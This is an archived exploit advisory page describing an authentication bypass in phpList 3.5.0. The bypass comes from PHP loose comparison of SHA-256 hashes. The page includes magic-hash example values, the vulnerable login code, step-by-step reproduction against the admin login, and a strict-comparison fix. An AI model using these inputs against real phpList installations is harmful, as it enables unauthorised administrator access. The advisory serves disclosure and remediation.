what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpList 3.5.0 Authentication Bypass

phpList 3.5.0 Authentication Bypass
Posted Feb 3, 2020
Authored by Suvadip Kar

phpList version 3.5.0 suffers from an authentication bypass vulnerability due to an integer conversion issue.

tags | exploit, bypass
SHA-256 | 2072bc62db6aee6a9bbced0782d27be4fdef0e8c2d9afac438d782b977bc4427

phpList 3.5.0 Authentication Bypass

Change Mirror Download
# Exploit Title: phpList 3.5.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-02-03
# Exploit Author: Suvadip Kar
# Author Contact: https://twitter.com/spidersec
# Vendor Homepage: https://www.phplist.org
# Software Link: https://www.phplist.org/download-phplist/
# Version: 3.5.0
# Tested on: Linux
# CVE : N/A

Background of the Vulnerability :

Php loose comparison '==' compares two operands by converting them to integers even if they are strings.

EXAMPLE CODE:

<?php
var_dump(hash('sha256', 'TyNOQHUS') == '0e66298694359207596086558843543959518835691168370379069085300385');
var_dump(hash('sha256', '34250003024812') == '0e66298694359207596086558843543959518835691168370379069085300385');
?>

OUTPUT:

bool(true)
bool(true)

Vulnerable code:

GITHUB: https://github.com/phpList/phplist3/blob/master/public_html/lists/admin/phpListAdminAuthentication.php
-----
if(empty($login)||($password=="")){
return array(0, s('Please enter your credentials.'));
}
if ($admindata['disabled']) {
return array(0, s('your account has been disabled'));
}
if (//Password validation.
!empty($passwordDB) && $encryptedPass == $passwordDB // Vulnerable because loose comparison is used
)
return array($admindata['id'], 'OK');
else {
if (!empty($GLOBALS['admin_auth_module'])) {
Error(s('Admin authentication has changed, please update your admin module'),
'https://resources.phplist.com/documentation/errors/adminauthchange');
return;
}
return array(0, s('incorrect password'));

}
-------

Steps to reproduce:

1. Set the string 'TyNOQHUS' as password for username 'admin'. Its sha256 value is 0e66298694359207596086558843543959518835691168370379069085300385.

2. Now navigate to endpoint '/admin' and try to login with username 'admin' password 'TyNOQHUS'.

3. User Logged in with valid password.

4. Now logout from the application and try to login with username 'admin' password '34250003024812'.

5. User Logged in, without valid password.

6. Authentication bypassed because of PHP loose comparison.

FIX: This vulnerability can be fixed by using strict comparison (===) in place of loose comparison.
-----
if(empty($login)||($password=="")){
return array(0, s('Please enter your credentials.'));
}
if ($admindata['disabled']) {
return array(0, s('your account has been disabled'));
}
if (//Password validation.
!empty($passwordDB) && $encryptedPass === $passwordDB // Fixed by using strict comparison '==='.
)
return array($admindata['id'], 'OK');
else {
if (!empty($GLOBALS['admin_auth_module'])) {
Error(s('Admin authentication has changed, please update your admin module'),
'https://resources.phplist.com/documentation/errors/adminauthchange');
return;
}
return array(0, s('incorrect password'));

}
-------

Additional Resource: https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close